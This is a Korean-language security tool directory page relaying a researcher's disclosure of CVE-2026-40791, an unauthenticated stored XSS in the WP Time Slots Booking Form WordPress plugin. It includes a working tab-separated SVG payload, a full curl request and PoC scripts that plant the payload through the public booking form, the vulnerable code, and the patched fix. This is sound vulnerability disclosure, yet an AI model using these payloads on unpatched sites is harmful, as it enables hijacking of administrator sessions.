Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-40791-WP-Time-Slots-Booking-Form-XSS — CVE-2026-40791: 인증되지 않은 저장형 XSS in WP Time Slots Booking Form <= 1.2.46 | Kitploit
도구/GitHubGitHub/rat5ak/cve-2026-40791-wp-time-slots-booking-form-xss
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubrat5ak/cve-2026-40791-wp-time-slots-booking-form-xss

CVE-2026-40791-WP-Time-Slots-Booking-Form-XSS

CVE-2026-40791: 인증되지 않은 저장형 XSS in WP Time Slots Booking Form <= 1.2.46

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
2개월 전아직 검토되지 않음

CVE-2026-40791: 예약 슬롯 하나로 관리자 XSS

WordPress WP Time Slots Booking Form 플러그인에서 인증되지 않은 저장형 XSS를 발견했습니다. 공용 예약 제출이 저장된 시간 슬롯 값의 일부를 제어합니다. 플러그인은 나중에 해당 값을 관리자 예약 주문 페이지에 이스케이프 없이 출력합니다.

트릭은 간단합니다. 플러그인은 제출된 약속 문자열을 리터럴 공백으로 분할하지만, HTML은 탭을 태그 이름과 속성 사이의 공백으로 취급합니다. 따라서 8:<svg[TAB]onload=...>는 슬롯 값으로 플러그인 파서를 통과한 후, 관리자가 예약 목록을 열면 실제 마크업이 됩니다.

CVECVE-2026-40791
플러그인WP Time Slots Booking Form
슬러그wp-time-slots-booking-form
영향받는 버전<= 1.2.46
수정된 버전1.2.47
버그 분류인증되지 않은 저장형 XSS (CWE-79)
영향공용 예약 -> 관리자 wp-admin 세션의 JavaScript
CVSS7.2 High (Wordfence), 7.1 (Patchstack)
발견자Daniel Wade

TL;DR

공용 예약 양식은 다음 필드를 허용합니다:

root@kitploit:~
fieldname1_1=2026-04-15 8:<svg[TAB]onload=alert(document.cookie)> 1 0 0 0 0 0 0

플러그인은 다음과 같이 파싱합니다:

root@kitploit:~
$item_split = explode(' ', $app_item_text);
...
'slot' => $item_split[1],

구분자가 리터럴 공백이 아닌 탭이기 때문에 item_split[1]은 다음과 같이 됩니다:

root@kitploit:~
8:<svg onload=alert(document.cookie)>

해당 슬롯 값은 예약에 직렬화됩니다. 관리자가 예약 주문을 열면 1.2.46 버전에서 다음 위치에 출력됩니다:

root@kitploit:~
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput

이스케이프가 없습니다. SVG onload가 관리자 페이지에서 실행됩니다.

단순히 "관리자 쿠키를 읽을 수 있는가?"가 아닙니다. 최신 WordPress 인증 쿠키는 일반적으로 HttpOnly이므로 document.cookie가 실제 wordpress_sec_* 쿠키를 노출하지 않을 수 있습니다. 중요한 점은 스크립트가 인증된 관리자 출처 페이지에서 실행된다는 것입니다. 동일 출처의 관리자 페이지를 가져오고, 노출된 nonce를 읽고, 피해자 브라우저에서 인증된 관리자 요청을 보낼 수 있습니다.

버그

취약한 흐름:

root@kitploit:~
인증되지 않은 POST
    -> fieldname1_1
    -> extract_appointments()
    -> explode(' ', $input)[1]
    -> $apps[]['slot']
    -> serialize()
    -> wp_cptslotsbk_messages.posted_data
    -> unserialize()
    -> 예약 주문 예약 배지
    -> 이스케이프되지 않은 HTML 출력

파서는 시간 슬롯이 단순한 텍스트일 것이라고 가정합니다. 하지만 그렇지 않습니다. 이는 나중에 HTML 컨텍스트에 배치되는 공격자 입력입니다.

취약한 싱크는 cp-admin-int-message-list.inc.php에 있습니다:

root@kitploit:~
$appts .= '<div class="ahb-appointment-badge">' .
          '<span class="dashicons dashicons-clock"></span>' .
          '<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
          ...

echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput

그 phpcs:ignore WordPress.Security.EscapeOutput 한 줄이 전체 이야기입니다. 공격자가 제어한 예약 데이터가 출력되는 곳에서 이스케이프 경고가 억제되었습니다.

트리거

페이로드 형태:

root@kitploit:~
8:<svg[TAB]onload=alert(document.cookie)>

작동 이유:

root@kitploit:~
PHP explode(' ', ...)
    "8:<svg<TAB>onload=...>" 하나의 토큰으로 유지됨

브라우저 HTML 파서
    <svg<TAB>onload=...>은 <svg onload=...>가 됨

슬롯 파서는 예상하는 값을 얻습니다. 브라우저는 실행 방법을 아는 태그를 얻습니다.

PoC

PowerShell:

root@kitploit:~
.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2

Bash:

root@kitploit:~
./poc/reproduce.sh "http://127.0.0.1" 2

수동 curl:

root@kitploit:~
TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"

curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
  --data-urlencode "cp_tslotsbooking_pform_process=1" \
  --data-urlencode "cp_pform_psequence=_1" \
  --data-urlencode "cp_tslotsbooking_id=1" \
  --data-urlencode "fieldname1_1=2026-04-15 8:<svg${TAB}onload=alert(document.cookie)> 1 0 0 0 0 0 0" \
  --data-urlencode "fieldname2_1=John Doe" \
  --data-urlencode "[email protected]" \
  --data-urlencode "fieldname4_1=1234567890" \
  --data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
  --data-urlencode "form_structure_1=" \
  --data-urlencode "refpage_1=" \
  --data-urlencode "cp_tslotsbooking_pform_status="

예상 결과:

root@kitploit:~
HTTP/1.1 302 Found

그런 다음 관리자로 로그인하여 다음을 엽니다:

root@kitploit:~
WP Time Slots Booking Form -> Booking Orders

저장된 예약 행이 렌더링될 때 페이로드가 실행됩니다.

증거

일회용 로컬 WordPress 실습 환경에서 전체 체인을 검증했습니다:

root@kitploit:~
PHP 8.3.31 for Windows
MariaDB 11.4.12 on 127.0.0.1
WordPress
WP Time Slots Booking Form 1.2.46
양식 1에서 CAPTCHA 비활성화
[CP_TIME_SLOTS_BOOKING id="1"]이 있는 공용 페이지

PowerShell PoC가 깔끔하게 제출되었습니다:

root@kitploit:~
HTTP status: 302

페이로드가 wp_cptslotsbk_messages.posted_data에 저장되었습니다:

root@kitploit:~
slot";s:69:"8:<svg\tonload=document.body.setAttribute('data-cve40791','executed')>"

그런 다음 Headless Chrome이 관리자로 로그인하고 예약 주문을 열었으며 저장된 SVG 핸들러가 설정한 마커를 확인했습니다:

root@kitploit:~
ADMIN_XSS_EXECUTED

또한 플러그인을 1.2.47로 교체한 후 동일한 저장된 악성 행을 테스트했습니다. 관리자 페이지에서 페이로드가 이스케이프된 텍스트로 렌더링되었습니다:

root@kitploit:~
04/15/2026 8:&lt;svg onload=...&gt;

마커가 실행되지 않았습니다:

root@kitploit:~
PATCHED_NO_XSS_EXECUTION

또한 작은 로컬 렌더링 검사 스크립트도 있습니다:

root@kitploit:~
powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1

전체 WordPress 설치 없이 두 가지 기계적 부분을 확인합니다:

root@kitploit:~
Parser check OK: literal-space split preserves tabbed SVG in slot index 1.
Browser check OK: tab-separated unquoted SVG onload executed in rendered HTML.

영향

공격자는 계정이 필요하지 않습니다. 공격자는 공용 예약을 제출하고 관리자가 예약 주문을 보기를 기다립니다.

관리자가 해당 페이지를 보면, 공격자의 JavaScript가 관리자의 WordPress 출처 내에서 실행됩니다. 실제 공격자는 일반적으로 alert(document.cookie)에서 멈추지 않습니다. 그들은 관리자 브라우저를 관리자로 사용할 것입니다:

root@kitploit:~
관리자 페이지 가져오기
    -> HTML에서 nonce 읽기
    -> 인증된 관리자 POST 제출
    -> 사이트 상태 변경

관리자의 권한과 사이트 구성에 따라 이는 사용자 생성, 플러그인 설정 변경, 알림 대상 수정, 예약/고객 데이터 읽기, 또는 플러그인/테마 기능을 통한 전체 사이트 장악으로 이어질 수 있습니다.

수정

1.2.47 버전에서는 관리자 배지를 생성하기 전에 저장된 슬롯을 이스케이프합니다:

root@kitploit:~
- ' '.$posted_data["apps"][$k]["slot"].'</span>'
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>'

이것이 싱크를 수정합니다. 더 일찍 정화하는 것도 합리적이지만, 보안 경계는 관리자 페이지의 HTML 출력 컨텍스트입니다.

저장소 구조

root@kitploit:~
poc/
    reproduce.ps1          # PowerShell 인증되지 않은 예약 제출기
    reproduce.sh           # Bash/curl 인증되지 않은 예약 제출기
lab/
    render-check.html      # 최소 취약 렌더링 픽스처
    validate-render.ps1    # 파서 + 브라우저 실행 정상 확인
README.md

타임라인

날짜이벤트
2026-03-24Patchstack에 신고
2026-04-13패치 검증
2026-04-23Wordfence 권고 게시
2026-04-24Patchstack 권고 게시

자료

  • Wordfence 권고: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-slots-booking-form/wp-time-slots-booking-form-1246-unauthenticated-stored-cross-site-scripting
  • Patchstack 항목: https://patchstack.com/database/vulnerability/wp-time-slots-booking-form/wordpress-wp-time-slots-booking-form-plugin-1-2-46-cross-site-scripting-xss-vulnerability
  • WordPress 플러그인: https://wordpress.org/plugins/wp-time-slots-booking-form/
  • WordPress 인증 쿠키 소스: https://developer.wordpress.org/reference/functions/wp_set_auth_cookie/
  • 취약 소스: https://plugins.svn.wordpress.org/wp-time-slots-booking-form/tags/1.2.46/
  • 수정 소스: https://plugins.svn.wordpress.org/wp-time-slots-booking-form/tags/1.2.47/

면책: 이 PoC는 패치 제공 후 방어적 연구 및 검증을 위해 게시됩니다. 소유하지 않거나 명시적 테스트 권한이 없는 시스템에 사용하지 마십시오.

CVE-2026-40791 - WP Time Slots Booking Form 1.2.47에서 수정됨. 영향받는 버전: 1.2.46 및 이하.

Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online

도구 다운로드
2026-04-30Wordfence 마지막 업데이트